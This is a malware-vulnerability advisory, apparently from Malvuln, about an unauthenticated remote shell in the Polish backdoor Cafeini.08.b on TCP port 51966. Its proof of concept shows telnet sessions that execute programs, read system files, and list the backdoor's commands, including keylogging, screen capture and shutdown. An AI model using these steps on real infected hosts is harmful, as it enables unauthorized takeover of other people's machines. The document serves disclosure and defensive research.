Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8225bb6b430d5cdf523c4d0cabbe5793.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Cafeini.08.b
Vulnerability: Missing Authentication
Description: The backdoor is written in Polish and listens on TCP port 51966, anyone who can reach the infected system can telnet in and execute any commands leading to malware compromise.
Type: PE32
MD5: 8225bb6b430d5cdf523c4d0cabbe5793
Vuln ID: MVID-2021-0086
Dropped files: 
Disclosure: 02/12/2021


Exploit/PoC:
1) Try execute calc.exe we get error in Polish.

C:\Windows>EEXXEECC  ccaalclc                                                                                                                       
STATUS: nie moge uruchomic programu 

Translated from polish "I cannot run the program"

But given the full path it works.                                                                              
                                                                                   
C:\Windows>EEXXEECC  cc::\\WWiindnodwowss\\syssytsetemm3322\\ccaallcc.e.exxee                                                                                                                       
STATUS: program uruchomiony

Translated "program running"                   

2) Read files.

C:\Users\victim\Desktop>ttyyppee  \\WWiinndodwowss\\syssytsetemm..iinini                                                                                                                                                        
; for 16-bit app support                                                                                                
[386Enh]                                                                                                                
woafont=dosapp.fon                                                                                                      
EGA80WOA.FON=EGA80WOA.FON                                                                                               
EGA40WOA.FON=EGA40WOA.FON                                                                                               
CGA80WOA.FON=CGA80WOA.FON                                                                                               
CGA40WOA.FON=CGA40WOA.FON                                                                                                                                                                                                                       
[drivers]                                                                                                               
wave=mmdrv.dll                                                                                                          
timer=timer.drv     

3) See help menu.

C:\>hehlelpp                                                                                                                                                                                                                             
BYE lub LOGOUT lub QUIT lub EXIT - wyjscie                                                                              
DIE - zabij serwer (usun z pamieci)                                                                                     
HELPCONF- opis komend sluzacych konfiguracji serwera: AUTOFTPD,AUTOKILL,                                                          
AUTOMAIL,EMAIL,FTPD,NAME,PASSWD,PORT,PROXY,SMPT.                                                              
HELPDOS - opis komend w rodzaju MS-DOS/Linux: CAT,CD,CHDIR,CMD,CMDV,COPY,                                                         
DATE,DEL,DIR,DRIVES,ECHO,ENV,ERASE,INFO,KILL,LS,MAIL,MEMORY,MKDIR,                                                      
MOVE,PS,RENAME,RMDIR,SET,SYSINFO,TELNET,TIME,TYPE,VER.                                                        
HELPFUN - opis komend sluzacych zabawie: ANNOY,ANNOYCD,ANNOYMONITOR,CLOSECD,                                                      
ERRORMSG,EXEC,EXECU,FILLDISK,FILLMEM,FREEZE,GETALLMEM,LOGOFF,MESSAGE,                                                   
MONITOR,OPEN,OPENCD,OPENMAIL,OPENWWW,QUESTION,READCLIP,SAVER,                                                           
SCREENSAVER,SHUTDOWN,STOPALL,TASKMANAGER,VOLUME,WRITECLIP.                                                    
HELPKEY - opis komend sterujacych klawiatura: KEYBOARDBEEP,LOGGEDCLEAR,                                                           
LOGGEDKEYS,SENDKEYS,SENDLINE                                                                                  
HELPMOUSE-opis komend sterujacych myszka i dzwiekiem: AUTOBEEP,BEEP,                                                              
AUTOSPEAKERBEEP,CURSORFREEZE,CURSORLINE,CURSORPOS,CURSORQUAKE,                                                          
CLIPLU,CLIPRD,CLIPRESET,CURSORUNFREEZE,MOUSESWAP,STOP,STOPALL.                                                
HELPSCR - opis komend sluzacych zabawie z ekranem (desktop): BLACKWHITE,                                                          
DUMPSCREEN,DUMPSMALLSCREEN,FLYINGBALLS,MATRIX,RESOLUTION,                                                               
SETWALLPAPER,UNRESOLUTION and SCREEN: BLUR,COLOR,DARKER,INVERT,                                                         
MOVEX,MOVEY,NORMAL,ROLLX,ROLLY,STOP,XREVERSE,YREVERSE,ZOOM.                                                   
HELPWIN - opis komend do operacji na oknach (wszystkie zaczynaja sie od WIN):                                                     
AUTOMESS,FOCUS,HIDE,HIDEALL,HIDESTART,HIDETASKBAR,INVERT,KILL,LIST,                                                     
KILLMICROSOFT,LISTALL,MAXIMIZE,MESS,MINIMIZE,NAME,PINGPONG,POS,QUAKE,                                                   
RESIZE,SHOW,SHOWALL,SHOWSTART,SHOWTASKBAR,SHRINK,STOP,TOP,UNTOP.    


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